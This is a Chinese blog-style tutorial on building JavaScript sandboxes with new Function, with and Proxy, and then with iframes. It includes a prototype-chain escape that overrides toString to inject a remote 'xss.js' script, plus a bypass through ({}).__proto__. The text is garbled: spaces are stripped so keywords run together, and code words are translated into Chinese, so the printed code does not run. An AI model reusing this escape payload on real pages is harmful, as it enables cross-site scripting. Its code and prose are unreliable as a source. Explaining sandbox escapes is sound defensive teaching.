其实在前端编码中,你或多或少都会接触到沙箱。也许你天真善良。沙盒以避免潜在的代码注入和未知的安全问题。PrefaceSandbox,即沙盒,顾名思义就是让你的程序运行在一个隔离的环境中,不影响外面的其他程序。通过创建一个类似于沙箱的独立运行环境,使其内运行的程序无法影响硬盘。有永久的效果。举个简单的栗子,其实我们的浏览器,Chrome中的每一个标签页都是一个沙盒(sandbox)。渲染进程被Sandbox隔离,网页的web代码内容必须通过IPC通道与浏览器内核进程通信,通信过程中会进行安全检查。沙箱设计的目的是让不受信任的代码在一定的环境中运行,从而限制这些代码访问隔离区域之外的资源。JSFront-end中的沙箱使用场景JS也可能适用于沙箱。毕竟有时候你想获取的是第三方的JS文件或者数据?而当数据不一定可信时,打造沙箱,做好保险工作就显得尤为重要。1、jsonp:在解析服务器返回的jsonp请求时,如果不信任jsonp中的数据,可以通过创建沙箱的方式解析获取数据;(在TSW中处理jsonp请求时,创建沙箱对数据进行处理和解析);2.执行第三方js:当你需要执行第三方js,而这个js文件不一定靠谱;3、在线代码编辑器:相信大家都用过一些在线代码编辑器,这些代码的执行基本都会放在沙盒中,影响页面本身;(例如:https://codesandbox.io/s/new)4.Vue的服务端渲染:Vue的服务端渲染在实现中,通过创建沙箱来执行前端bundle文件;调用createBundleRenderer方法时,允许配置runInNewContext为true或false,并判断是否传入新创建的沙箱对象供vm使用;5.在vue模板中表达公式计算:vue模板中表达式的计算是放在沙盒中的,只能访问Math、Date等全局变量的白名单。您不能尝试在模板表达式中访问用户定义的全局变量。总之:当你要解析或执行不受信任的JS时,当你要隔离执行代码的执行环境时,当你要限制执行代码中的可访问对象时,沙箱就派上用场了。如何实现/使用sandbox1,newFunction+with1,首先我们从最简单的方法开始,如果想通过eval和function直接执行一段代码,这是不现实的,因为代码可以followthescopechaininside查找和篡改全局变量,这是我们不想要的,所以你需要在你的监控范围内的沙箱中进行变量访问;但是,你可以使用withAPI,在with的块级作用域下,变量访问会先搜索你传入的参数对象,然后再向上查找,这样就相当于监控代码中的“变量访问”伪装:functioncompileCode(src){src='with(exposeObj){'+src+'}'returnnewFunction('exposeObj',src)}接下来你要做的是公开变量exposeObj,它可以被访问,并阻止沙箱中的外部访问。通过es6提供的代理特性,可以得到对对象的所有重写:proxyObj(originObj){letexposeObj=newProxy(originObj,{has:(target,key)=>{if(["console","Math","Date"].indexOf(key)>=0){返回target[key]}if(!target.hasOwnProperty(key)){thrownewError(`对键${key}`的非法操作)}returntarget[key]},})returnexposeObj}functioncreateSandbox(src,obj){letproxy=proxyObj(obj)compileCode(src).call(proxy,proxy)//bindthis防止this访问window}通过设置has函数,可以监听变量访问。上面代码中,只有个别外部变量是代码访问的,其他不存在的属性会直接抛出错误。其实还有get和set函数,但是如果get和set函数只能拦截当前对象属性的操作,无法监听对外部变量属性的读写操作,所以只能用has函数.接下来我们来测试一下:consttestObj={value:1,a:{b:{c:1}}}createSandbox("value='haha';console.log(a)",testObj)似乎一切似乎可以说是什么问题,但是问题出在传入的对象上。调用console.log(a.b)时,has方法无法监听b属性的访问。假设执行的代码是不可信任的,this有时,它只需要通过a.b.__proto__来访问Object构造函数的原型对象,然后对原型对象进行一些更改,例如toString可以影响外部代码逻辑。a.b.__proto__.toString=()=>{varscript=document.createElement("script");script.src="http://.../xss.js"script.type="text/javascript";document.body.appendChild(script)}如上图代码通过访问原型链实现沙箱逃逸,并篡改原型链上的toString方法。一旦外部代码执行了toString方法,就可以实现Xss攻击,注入第三方代码,为什么在代码中可以访问到文档?因为这是一个函数的赋值操作,并没有执行,所以没有被has函数拦截。而你调用toString的时候,已经在外部代码中调用了,has函数就更不知道了。你可能会想,如果我切断原型链的访问,它是不是就被淘汰了?的确,可以用Object.create(null)传入一个没有原型链的对象,让暴露的对象只有一层,不传入嵌套对象。但是,即使是基本类型的值,数字或者字符串,也可以通过__proto__找到原型链,即使不传入对象,也可以通过以下方式绕过:({}).__proto__.toString=()=>{控制台.log(111)};可见newFunction+with的沙盒方式,能防君子不能防小人。当然你也可以分析或者过滤传入的代码?如果传入的代码不是指定的数据格式(如json),则会直接抛出错误以防止恶意代码注入,但这并不总是一种安全的做法。2、借助iframe实现沙箱上一节介绍了一种劣质且不太安全的方法来构建一个简单的沙箱,但是前端最常用的方法是使用iframe来构建沙箱,比如在线代码编辑器Medium:https://codesandbox.io/s/news。这种方法比较方便、简单、安全。也是一种比较常见的前端沙盒方案。如果你要执行的代码不是你自己写的,也不是可信的数据源,你必须使用iframe沙箱。Sandbox是h5提出的新属性。启用的方式是使用iframe标签中的sandbox属性:
